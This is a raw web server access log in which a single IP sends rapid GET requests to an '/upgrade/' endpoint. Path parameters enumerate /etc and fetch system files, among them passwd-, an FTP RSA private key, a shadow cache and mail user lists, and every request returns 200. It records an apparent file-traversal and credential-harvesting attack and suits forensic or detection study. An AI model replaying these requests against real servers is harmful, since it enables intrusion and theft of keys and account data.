45.135.193.11 - - [11/Sep/2026:23:07:17 -0400] "GET /upgrade/?location=%2Fetc%2Fpkcs11 HTTP/1.1" 200 5922 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fpkcs11" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:17 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Falmalinux-release&location=%2Fetc%2F HTTP/1.1" 200 28740 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Falmalinux-release&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:18 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Frecent_authed_mail_ips_users&location=%2Fetc%2F HTTP/1.1" 200 28746 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Frecent_authed_mail_ips_users&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:18 -0400] "GET /upgrade/?location=%2Fetc%2Falternatives HTTP/1.1" 200 8688 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Falternatives" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:18 -0400] "GET /upgrade/?location=%2Fetc%2Fenvironment-modules HTTP/1.1" 200 6238 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fenvironment-modules" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:18 -0400] "GET /upgrade/?location=%2Fetc%2Ffonts HTTP/1.1" 200 6193 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Ffonts" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:18 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fdomainusers&location=%2Fetc%2F HTTP/1.1" 200 28697 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fdomainusers&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:18 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Ffilesystems&location=%2Fetc%2F HTTP/1.1" 200 28753 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Ffilesystems&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:18 -0400] "GET /upgrade/?location=%2Fetc%2Frc5.d HTTP/1.1" 200 5731 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Frc5.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:18 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fcpanel_exim_system_filter&location=%2Fetc%2F HTTP/1.1" 200 32169 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fcpanel_exim_system_filter&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:18 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Ffstab&location=%2Fetc%2F HTTP/1.1" 200 28389 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Ffstab&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:18 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fftpd-rsa-key.pem&location=%2Fetc%2F HTTP/1.1" 200 28627 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fftpd-rsa-key.pem&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:18 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fkdump.conf&location=%2Fetc%2F HTTP/1.1" 200 31856 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fkdump.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:18 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fpcp.conf&location=%2Fetc%2F HTTP/1.1" 200 31317 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fpcp.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:19 -0400] "GET /upgrade/?full_path=%2Fetc&location=%2F HTTP/1.1" 200 7724 "http://163.245.207.76:443/upgrade/?full_path=%2Fetc&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:19 -0400] "GET /upgrade/?location=%2Fetc%2Fcron.daily HTTP/1.1" 200 6171 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fcron.daily" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:19 -0400] "GET /upgrade/?location=%2Fetc%2Frsyslog.d HTTP/1.1" 200 5724 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Frsyslog.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:19 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fdomainips&location=%2Fetc%2F HTTP/1.1" 200 28807 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fdomainips&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:19 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fips&location=%2Fetc%2F HTTP/1.1" 200 28806 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fips&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:19 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fnscd.conf&location=%2Fetc%2F HTTP/1.1" 200 29640 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fnscd.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:19 -0400] "GET /upgrade/?location=%2Fetc%2Faudit HTTP/1.1" 200 5745 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Faudit" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:19 -0400] "GET /upgrade/?location=%2Fetc%2Fdbus-1 HTTP/1.1" 200 6308 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fdbus-1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:19 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fdemouids&location=%2Fetc%2F HTTP/1.1" 200 28696 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fdemouids&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:19 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fethertypes&location=%2Fetc%2F HTTP/1.1" 200 29349 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fethertypes&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:19 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fnfsmount.conf&location=%2Fetc%2F HTTP/1.1" 200 30153 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fnfsmount.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:19 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fscreenrc&location=%2Fetc%2F HTTP/1.1" 200 31613 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fscreenrc&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:20 -0400] "GET /upgrade/?location=%2Fetc%2Fgroff HTTP/1.1" 200 5981 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fgroff" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:20 -0400] "GET /upgrade/?location=%2Fetc%2Flibnl HTTP/1.1" 200 6107 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Flibnl" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:20 -0400] "GET /upgrade/?location=%2Fetc%2Foddjobd.conf.d HTTP/1.1" 200 6148 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Foddjobd.conf.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:20 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Feximmailtrap&location=%2Fetc%2F HTTP/1.1" 200 28698 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Feximmailtrap&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:20 -0400] "GET /upgrade/?location=%2Fetc%2Frc2.d HTTP/1.1" 200 5731 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Frc2.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:20 -0400] "GET /upgrade/?location=%2Fetc%2Fsysctl.d HTTP/1.1" 200 6054 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fsysctl.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:20 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2F.updated&location=%2Fetc%2F HTTP/1.1" 200 28832 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2F.updated&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:20 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fasound.conf&location=%2Fetc%2F HTTP/1.1" 200 28738 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fasound.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:20 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fips.dnsmaster&location=%2Fetc%2F HTTP/1.1" 200 28764 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fips.dnsmaster&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:20 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fmtab&location=%2Fetc%2F HTTP/1.1" 200 29249 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fmtab&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:20 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fspammers&location=%2Fetc%2F HTTP/1.1" 200 28694 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fspammers&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:21 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fwpmm-watchdog.json.bak.20260909_183416&location=%2Fetc%2F HTTP/1.1" 200 28730 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fwpmm-watchdog.json.bak.20260909_183416&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:21 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fantivirus.exim&location=%2Fetc%2F HTTP/1.1" 200 32639 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fantivirus.exim&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:21 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fs-nail.rc&location=%2Fetc%2F HTTP/1.1" 200 33150 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fs-nail.rc&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:21 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Ftrustedmailhosts&location=%2Fetc%2F HTTP/1.1" 200 28707 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Ftrustedmailhosts&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:21 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fwpmm-watchdog.json.bak.20260909_190345&location=%2Fetc%2F HTTP/1.1" 200 28727 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fwpmm-watchdog.json.bak.20260909_190345&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:21 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fwwwacct.conf.shadow.cache&location=%2Fetc%2F HTTP/1.1" 200 28669 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fwwwacct.conf.shadow.cache&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:21 -0400] "GET /upgrade/?location=%2Fetc%2FImageMagick-6 HTTP/1.1" 200 7080 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2FImageMagick-6" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:21 -0400] "GET /upgrade/?location=%2Fetc%2Fbash_completion.d HTTP/1.1" 200 6176 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fbash_completion.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:21 -0400] "GET /upgrade/?location=%2Fetc%2Fdhcp HTTP/1.1" 200 5922 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fdhcp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:21 -0400] "GET /upgrade/?location=%2Fetc%2Fld.so.conf.d HTTP/1.1" 200 6061 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fld.so.conf.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:21 -0400] "GET /upgrade/?location=%2Fetc%2Fkdump HTTP/1.1" 200 5969 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fkdump" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:21 -0400] "GET /upgrade/?location=%2Fetc%2Fostree HTTP/1.1" 200 5920 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fostree" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:22 -0400] "GET /upgrade/?location=%2Fetc%2Fvaliases HTTP/1.1" 200 5748 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fvaliases" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:22 -0400] "GET /upgrade/?location=%2Fetc%2Fsssd HTTP/1.1" 200 5744 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fsssd" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:22 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2FDIR_COLORS&location=%2Fetc%2F HTTP/1.1" 200 31031 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2FDIR_COLORS&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:22 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fexim.conf.mailman2.exiscan.dist&location=%2Fetc%2F HTTP/1.1" 200 37580 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fexim.conf.mailman2.exiscan.dist&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:22 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Flocalaliases&location=%2Fetc%2F HTTP/1.1" 200 28747 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Flocalaliases&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:22 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Flocale.conf&location=%2Fetc%2F HTTP/1.1" 200 28678 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Flocale.conf&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:22 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fpasswd-&location=%2Fetc%2F HTTP/1.1" 200 29434 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fpasswd-&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:22 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fprofile&location=%2Fetc%2F HTTP/1.1" 200 29946 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fprofile&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:22 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Frelayhostsusers&location=%2Fetc%2F HTTP/1.1" 200 28706 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Frelayhostsusers&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:22 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fsecondarymx&location=%2Fetc%2F HTTP/1.1" 200 28403 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fsecondarymx&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:22 -0400] "GET /upgrade/?location=%2Fetc%2Fcron.d HTTP/1.1" 200 6848 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fcron.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:23 -0400] "GET /upgrade/?location=%2Fetc%2Fgrub.d HTTP/1.1" 200 5746 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fgrub.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:23 -0400] "GET /upgrade/?location=%2Fetc%2Frc3.d HTTP/1.1" 200 5731 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Frc3.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:23 -0400] "GET /upgrade/?location=%2Fetc%2Fsgml HTTP/1.1" 200 5925 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fsgml" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:23 -0400] "GET /upgrade/?location=%2Fetc%2Ftmpfiles.d HTTP/1.1" 200 5724 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Ftmpfiles.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:23 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fexim.crt&location=%2Fetc%2F HTTP/1.1" 200 28693 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fexim.crt&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:23 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fmailhelo&location=%2Fetc%2F HTTP/1.1" 200 28609 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fmailhelo&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:23 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Foutgoing_mail_suspended_users&location=%2Fetc%2F HTTP/1.1" 200 28730 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Foutgoing_mail_suspended_users&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:23 -0400] "GET /upgrade/?location=%2Fetc%2Fsecurity HTTP/1.1" 200 7509 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fsecurity" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:23 -0400] "GET /upgrade/?location=%2Fetc%2Fstatetab.d HTTP/1.1" 200 5724 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fstatetab.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:23 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fenvironment&location=%2Fetc%2F HTTP/1.1" 200 28697 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fenvironment&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:24 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fnamed.conf.prerebuilddnsconfig&location=%2Fetc%2F HTTP/1.1" 200 30065 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fnamed.conf.prerebuilddnsconfig&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:24 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2Fsubgid&location=%2Fetc%2F HTTP/1.1" 200 28694 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2Fsubgid&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
